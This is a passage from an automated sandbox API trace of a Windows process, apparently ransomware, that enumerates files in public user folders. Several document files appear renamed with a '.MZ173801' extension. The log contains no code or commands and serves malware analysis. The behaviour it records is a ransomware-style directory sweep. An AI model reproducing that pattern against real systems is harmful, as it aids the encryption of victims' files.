ftLastWriteTime.dwHighDateTime=0x1d5e535, nFileSizeHigh=0x0, nFileSizeLow=0x15791, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="_QGlcVYKYQv4WkAR3e5.odp", cAlternateFileName="_QGLCV~1.ODP")) returned 0 [0125.004] GetLastError () returned 0x12 [0125.004] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0125.004] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca85dc70, ftCreationTime.dwHighDateTime=0x1d5d902, ftLastAccessTime.dwLowDateTime=0xece841b0, ftLastAccessTime.dwHighDateTime=0x1d5dd1a, ftLastWriteTime.dwLowDateTime=0x9b208900, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x7ec2, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="UgL4-.pdf.MZ173801", cAlternateFileName="UGL4-P~1.MZ1")) returned 1 [0125.004] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.004] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.005] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1af5c00, ftCreationTime.dwHighDateTime=0x1d5d94a, ftLastAccessTime.dwLowDateTime=0x7861ec80, ftLastAccessTime.dwHighDateTime=0x1d5dbd8, ftLastWriteTime.dwLowDateTime=0x7861ec80, ftLastWriteTime.dwHighDateTime=0x1d5dbd8, nFileSizeHigh=0x0, nFileSizeLow=0x18215, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="Vl wwF.odp", cAlternateFileName="VLWWF~1.ODP")) returned 1 [0125.005] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.005] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.005] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ddbd20, ftCreationTime.dwHighDateTime=0x1d5a144, ftLastAccessTime.dwLowDateTime=0xab2fb630, ftLastAccessTime.dwHighDateTime=0x1d58a82, ftLastWriteTime.dwLowDateTime=0x9b22ea60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x5e86, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="vq7ZCx5KHQ.xlsx.MZ173801", cAlternateFileName="VQ7ZCX~1.MZ1")) returned 1 [0125.005] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.005] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.005] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9b210, ftCreationTime.dwHighDateTime=0x1d58ebe, ftLastAccessTime.dwLowDateTime=0x4e1c6410, ftLastAccessTime.dwHighDateTime=0x1d55e91, ftLastWriteTime.dwLowDateTime=0x9b254bc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x12627, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="wb3dJsVzJYFX6zhDznM.xlsx.MZ173801", cAlternateFileName="WB3DJS~1.MZ1")) returned 1 [0125.005] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.005] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.005] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc68e6140, ftCreationTime.dwHighDateTime=0x1d58926, ftLastAccessTime.dwLowDateTime=0x45381400, ftLastAccessTime.dwHighDateTime=0x1d5b799, ftLastWriteTime.dwLowDateTime=0x9b27ad20, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x4487, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="WSc xO6G.docx.MZ173801", cAlternateFileName="WSCXO6~1.MZ1")) returned 1 [0125.005] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.005] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.005] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x928236c0, ftCreationTime.dwHighDateTime=0x1d5afe0, ftLastAccessTime.dwLowDateTime=0xc7af02a0, ftLastAccessTime.dwHighDateTime=0x1d56149, ftLastWriteTime.dwLowDateTime=0x9b2a0e80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1550b, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="XHVOZ5Eqp.docx.MZ173801", cAlternateFileName="XHVOZ5~1.MZ1")) returned 1 [0125.005] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.005] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.005] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a99440, ftCreationTime.dwHighDateTime=0x1d5d8f5, ftLastAccessTime.dwLowDateTime=0x74d42690, ftLastAccessTime.dwHighDateTime=0x1d5b915, ftLastWriteTime.dwLowDateTime=0x9b2c6fe0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x8a3f, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="XLS81S1HBOf.pptx.MZ173801", cAlternateFileName="XLS81S~1.MZ1")) returned 1 [0125.005] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.005] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.005] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7f5680, ftCreationTime.dwHighDateTime=0x1d5e568, ftLastAccessTime.dwLowDateTime=0x60209c20, ftLastAccessTime.dwHighDateTime=0x1d5dfa7, ftLastWriteTime.dwLowDateTime=0x9b3132a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xb7f3, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="YgiFg.docx.MZ173801", cAlternateFileName="YGIFGD~1.MZ1")) returned 1 [0125.005] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.005] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.005] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7f5680, ftCreationTime.dwHighDateTime=0x1d5e568, ftLastAccessTime.dwLowDateTime=0x60209c20, ftLastAccessTime.dwHighDateTime=0x1d5dfa7, ftLastWriteTime.dwLowDateTime=0x9b3132a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xb7f3, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="YgiFg.docx.MZ173801", cAlternateFileName="YGIFGD~1.MZ1")) returned 0 [0125.005] GetLastError () returned 0x12 [0125.005] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0125.006] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=46, fCreate=0 | out: pszPath="C:\\Users\\Public\\Documents") returned 1 [0125.007] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents")) returned 0x11 [0125.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=46, fCreate=0 | out: pszPath="C:\\Users\\Public\\Documents") returned 1 [0125.007] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34360865, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0125.008] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34360865, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0125.008] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x34360865, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.008] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0125.008] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.008] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0125.008] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0125.008] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0125.008] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0125.008] GetLastError () returned 0x12 [0125.008] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0125.008] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0125.008] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0125.008] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.008] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0125.009] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.009] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.009] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.009] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0125.009] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0125.009] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0125.009] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0125.009] GetLastError () returned 0x12 [0125.009] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0125.009] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=55, fCreate=0 | out: pszPath="C:\\Users\\Public\\Videos") returned 1 [0125.010] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos")) returned 0x11 [0125.011] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=55, fCreate=0 | out: pszPath="C:\\Users\\Public\\Videos") returned 1 [0125.011] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0125.011] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0125.011] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa32b602a, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.011] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0125.011] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.011] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xa03bf443, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0125.011] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xa03bf443, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0125.011] GetLastError () returned 0x12 [0125.011] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0125.011] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0125.011] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0125.011] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.011] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0125.011] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.011] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.011] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa32b602a, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.012] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xa03bf443, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0125.012] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0125.012] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0125.012] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0125.012] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.012] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, 